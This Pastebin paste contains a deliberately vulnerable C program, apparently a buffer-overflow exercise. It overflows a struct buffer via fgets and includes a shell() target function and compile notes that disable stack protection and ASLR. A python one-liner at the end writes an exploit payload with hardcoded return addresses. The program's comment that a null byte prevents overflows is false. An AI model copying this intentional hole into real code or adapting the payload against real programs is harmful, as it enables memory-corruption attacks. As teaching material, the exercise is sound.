Advertisement
Guest User

Untitled

a guest
Oct 20th, 2019
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.50 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. /*
  6. * compiled with:
  7. * gcc -m32 -O0 -fno-stack-protector milo_bufferOverflow.c -o milo_bufferOverflow
  8. *
  9. * 1. objdump --disassemble-all milo_bufferOverflow > milo_bufferOverflow.diss
  10. * echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  11. */
  12.  
  13. void shell(){
  14. printf("YOU GOT IT\n");
  15. }
  16.  
  17. void concatenate_first_chars(){
  18. struct {
  19. char word_buf[12];
  20. int i;
  21. char* cat_pointer;
  22. char cat_buf[10];
  23. } locals;
  24. locals.cat_pointer = locals.cat_buf;
  25.  
  26. printf("Input 10 words:\n");
  27. for(locals.i=0; locals.i!=10; locals.i++) {
  28. // Read from stdin
  29. if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
  30. {
  31. printf("Failed to read word\n");
  32. return;
  33. }
  34. // Copy first char from word to next location in concatenated buffer
  35. *locals.cat_pointer = *locals.word_buf;
  36. locals.cat_pointer++;
  37. }
  38.  
  39. // Even if something goes wrong, there's a null byte here
  40. // preventing buffer overflows
  41. locals.cat_buf[10] = '\0';
  42. printf("Here are the first characters from the 10 words concatenated:\n\
  43. %s\n", locals.cat_buf);
  44. }
  45.  
  46. int main(int argc, char** argv){
  47. if(argc != 1)
  48. {
  49. printf("usage:\n%s\n", argv[0]);
  50. return EXIT_FAILURE;
  51. }
  52.  
  53. concatenate_first_chars();
  54.  
  55. printf("Not authenticated\n");
  56. return EXIT_SUCCESS;
  57. }
  58.  
  59.  
  60.  
  61.  
  62. python -c 'print "a" * 12 + "\n" + "a\n" * 23 + "\x64\n\x84\n\x04\n\x08\n" + "\xe0\n\x2f\n\xe5\n\xb7\n" + "\x00\n\x00\n\x00\n\x00\x00\n\x00\n\x00\n\x00\n\n"' > exploit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement